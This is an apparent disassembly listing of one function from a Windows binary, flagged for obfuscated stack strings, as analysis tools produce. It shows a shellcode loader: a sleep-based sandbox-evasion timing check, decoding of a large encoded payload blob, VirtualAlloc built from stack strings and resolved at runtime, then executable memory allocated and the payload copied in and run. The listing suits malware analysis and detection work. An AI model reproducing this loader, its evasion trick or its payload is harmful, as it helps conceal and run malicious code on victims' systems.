Function at 0x1400018be
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov eax, 0x14ea0
call fcn.140002a40
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x14e30], ecx
mov qword [rbp + 0x14e38], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x14e1c], eax
mov ecx, 0x23d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x14e18], eax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x30]
mov edx, 0x14e19
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x14e18]
sub eax, dword [rbp + 0x14e1c]
cmp eax, 0x23c
jle 0x140001a7f
mov eax, dword [rbp + 0x14e18]
sub eax, dword [rbp + 0x14e1c]
cmp eax, 0x2a0
jg 0x140001a7f
mov rax, qword [str.OTA5MGU4ODBkMTAwMDA4MGQxMDAwMDM0ZDNlOTZlYTEzMDkxNWNhYTU1ZGI5YTU4ZDBiYTMxM2ViMTJiM2E5MDY0NmYzMmQzZDQ1MjQzZmQwZjBmMmMwMDAwMDAwMDljM2QyMGExMDFiYzdhM2I5OWNiODYwMTc3NmQ3ODFkMDljZWI2ODY4ZGVmYjFkN2VlNTUwYzFlZmU4NmU4NWRhMTY0MjU1NmYzNWYwM2FjNDk4MWVhMGIxMTZhMTNiMjJhMjFmZmJhYmE4NDgyMjM4ZDRkNmFhMjhmZmU4OGQ0NWZmYmJmYWM1NzM5MjE5ZjZhMDI4MzQ5NTk2MjI5M2I2ODJlNDMwZjk0MTYyOWNlODk2MTdmMjVlZmEyZGRlNWRmMmQ1NGM5MzBjMWFiMzA0MWZiMTc5ODc1NjdjMDQ4ZDliMmM0MWQzYTI3ZGI3OTJmZDQxNTE3ZDk5NjE3NTExODY2NDM5ODU4ZGJmYTU2Mjk4NDFkNmRlZmU4MzVmYjJkZWNiM2Q2MWZlOTQ1MzcxMDY4YTRiMjE3MmYyYmY2N2I2NDgzN2UxNTRhNjAxMmIyMjgzNGU3MTUzMzcwMTg0MWE4NzkxMzIxZmNmMDI1MjU2NDJlZTI2MmE2ODg4MTI3Y2JlZjk4NzBkNTg2NWI3MjNlMjBiNDUyYzRiZjZhMjE2Y2RlOWJmODA2NTc2ZTNiNzZiYTljOWI2NzZiOTQ0NDQzNDQwZTA1ZDJmYjE3NmU4YjNkMTY0M2YwMTgzYjNkODZhODcwOTk0NDVhNWE4NmZkMTZkMTEwMWJmMjg3Zjg4Y2U5YjdmZDcxZDQ5ZWYxYjkxOTJmY2U3NzY4MDQxZmVkNjdjYmNiYTc4ZTAzYzRlNWIxY2I4OTRjZGU1ZTU3Y2QwNmNmMTFlZGExYTk2MGVmN2VlN2NjNTU0YTYxNmE2MGNmNWE0N2U4YWMzYzU3N2QxNmY4ZjRlZDFiZTQ4ZTViNzJhOTdiOTdiMmY2MDQyZjM1YTI5NGQ1MTE4N2JkNjQ2N2NmNzNmMzRmOGE2ZmQ3OTU0NmFlYTZhMmQxMjg5YWM4NGU0MWI4YzMyZjI1ZTNmMzhlMWNiZjRhOTViZTc0NzZiYTE2YjE0ZmYxNWViMmFkZDkwMzdhYjhhMWRiMDc0MjMyNDdiZjQzMTMxNThjMzk5ZjcyMzQ5MmEwMmVlNjk3ODU2Y2ViODU2YjIzZjg2MGIwMTRiMWZlZjBjMDZmNThmMGQ4N2VhYjM3MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMzAwMDAwMDAwMDAwMDAwMDAwMDAwMDBkZDczZWRjNWEwY2RlZGNkMjI3ZDk3ZTlhNDM3YjE4YmU2NzJhM2ZhYmFmNmMzY2EyMGE0YjRmYWIwOTk0ZTM5M2ZjYWZhMTE0NmZjY2NiMTQwMDRiMzQ5MWVhMDNiY2RiZTA1ZjBkZDIwZDRjNjAxZTYyN2Q5MjlhZmFlYjFmMWQ2Nzg4OGFiNmNmZmJhZTczNWE0NjQzNmQ5MzJiYmViOTRmZmFhZjU5MTQ4N2I1MjEyOWVmYTg2NWM2NDU5ZmYzYmM1ODhmZjFlZjIwMmEzNzc3NWE4Nzk5ZjM1NjA5OWQ2Y2Y5ZmNlY2NhOTFkYWZiOTMyMTk3ZjFhMjQwYWNhMTQyMzA3ZWVmNGJiN2FjMzRkMmZjOWRiNWUwNDI2YjkyZTczNzE5ZGFkYzRmNzZiY2FhMWJhYjhlOWQyZDM3ODY2NmVjYjMzNTdiODRjOTk4NWQ0MzhiNDZjMjU0NWEyNTRlY2UwYTQ3ODQ3ODVlZmJhMTg1N2M1YWVmY2I2MDk2Zjg0NWIyOTMwZGMwNzM1NDdjNjA0MjIyNjRkM2ViNGJmOTI0ZjFkZDc1NzI1YzQ4MDQ1ZmRkNjFjNzc3NTA3MzhkYTZhYWE2NWIyMDA5OGQyYjYxZDI4MDRiNDU0OGNkZjY2ZWM0ODkzYTQxOWVhYWZhY2MwNzhkYWZhNWM4MzA3ODIyZTNjNzBlMDMwNTA2YjliMDBlZmJhYWI5NDE1OGU5ZmM1MjNjNmM1NGJjZGVhYWUwZWE4M2EyNWFjZGRiY2RiZDhjNDJlOGQ4NDE0NjYwZTlkZmYzMzkwMDgyYWVlOTg2YWY0MGExNGVjODNlMDBhZDEyYTYyYTYyYWUxYWRmZTQ5ZmRjY2FhOTU0N2MyNmUzNzdhMWU1Y2UxZmEzMTAwYzViNTBmMDcyZGViMWRhMGQzYmUyZTA3N2U4NGFiMjdiNjM4MzY0OTQ2MDFlYjkyNmZjYjRmZmMxN2MyMWVlMmVkOGQ3OTkyMDY4ZTYxNGIwOTVlMzNiODAxNGIyOGY0M2FhNDJmMzhjNTZiNGFmNzY2M2VlNzgzZWFkZGVjNDQ3OTRlNjA5OGFiMGIzMmNlMTExYTEzOGYyYTk0YTRlNzJiMGUwMWE1NDIzYjBlZjllZjQwNTg5ODJmZjM4ZGI4OWY3OTc5ZTc4Y2RiMzI3ZGQ2ZjJlMWRlNjBhOTdlZTU3Nzk4MTA5OTA1Y2Q5ODEzM2M3NzE4YTg4YjhjOTk2MGZjNzlkNmQ2NzdhZTE1ZGY4MGYwNDViMDJiNDNjODJkZWI0NWM1NzNmMGEzNTAyZDEzZDdiMjllN2VkNjJkOGUzMjNlNzIyODhkMmFhODU3YjMwMzIyNzNjMzk0ZWU0YjhjM2E5NzM3MWYxMGMwMGQxN2E0MWIwZjcyNmU5ZjcxYjRiZDBjZTQ4MzJjNzRkZWJiZDAwYzkyN2U5MWEyOTQ0ZDE4ZTY3NjAwMjQ5YjNiZTFlMDQ3NDU4YmNkMDQxMmViZDNlMDBjNmEwODczNjM1ZDJjNmQ1NzhjOWM3ZDQ2MzIyOWVkMDViNzYyMDUzMDYxYTMzZmM1M2RkMTMzMmY1YzI3NmM3YThlNDNkYjdkMDAwMzM3OTY3ZGEzYmU4OTM0NWIzNzY5ODNhNTIwYTZjM2NkMzY3N2MwODE1ZjVkZjk1NTA4OGQxZWNhYjkzOTk1MWE2MmZiM2ZhODQ0ODdiMWUyOGU2ZGY1NDQyNDk3ZDI2NDcxNWE0NTAzYWU4ZmMzZTMzY2EzNGYyODMxYTczNDZjYWNiMTBjYTUyYmUzMmQzM2ZjNTJmZTcyYjQ3ZTZjYzIzNjdhYWJiZDA3M2IyNWQyMDBmMDAwNWM5OTEzNzRmZDI1MDU4YjRiNzNhNGFlZDVlMmI4YmNmNzYwZWVmZmQzNTFkNjc5MTkxODU4YzFkY2RkNTI1YmExODZkNmNmZGUzOGNiM2QwNjkyNDhjMzNiMzk5MzFlZmNjYjVlYmYzNTQ5NGRiOWVlNWMzMDZiOGViZDM1OWJjM2IwNTdhOTczMTM0MTI1ZTM5YThjYjEwOTg1ZGY2MDljN2QyOTBlYTZiMzEyMTdlMmU1YzRkY2Q2M2NmM2ExOTQyMDhkMjgxNmM1NGMxNDVjMmY4YTZjYjQ1NWE1Y2MxOTQwYmYwYWY3NmVjM2JjODdkNGUxMzI2YTA0N2ZmM2M0MDBlMjg3ZGQ0NmI4ZWJiMDRlOGQwNGVlN2VjZjJmZDViMWUwNWRhNGEwZDQyMDY4OGZlZWRkYWZkMDQ4OWUyMmMyZTc4MWUxYTdmZmRmMzIwNTYxZmRmMWYzMzIyNjM0MGI2MzZiYjk0OGJhYzhiM2UzM2Q4YjQ2NmYwZGZjZGE5YzY3MmJmZGU3NzE3ODAxODBmNDY4NDM0YzRiNzY4Y2IyMTZmMzA4OTQwM2ZlYjRlOTA0NjU2NzMwZWFhYmY4MjIxNmM0OWM2MWJiMzhhYmFiYTRmODJmMDBhMWYwYjZiN2NhYzg3ZDE3Mjg4MTg3ZGY0NWIzODMxYTk5MDIyYmU4]
lea rdx, [0x140044c59]
mov rcx, rax
call sym.yeIP
mov qword [rbp + 0x14e10], rax
mov rdx, qword [rbp + 0x14e10]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.lbOawthf
nop
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x14e08], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x14e00], rax
mov rax, qword [rbp + 0x14e00]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x14e08]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x14df8], rax
mov rax, qword [rbp + 0x14df8]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x14e29
mov ecx, 0
call rax
mov qword [rbp + 0x14df0], rax
mov rax, qword [rbp + 0x14df0]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x14e29
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x14df0]
call rax
jmp 0x140001a8c
lea rcx, str.IJLlNaub
call sym.printf
nop
add rsp, 0x14ea0
pop rbp
ret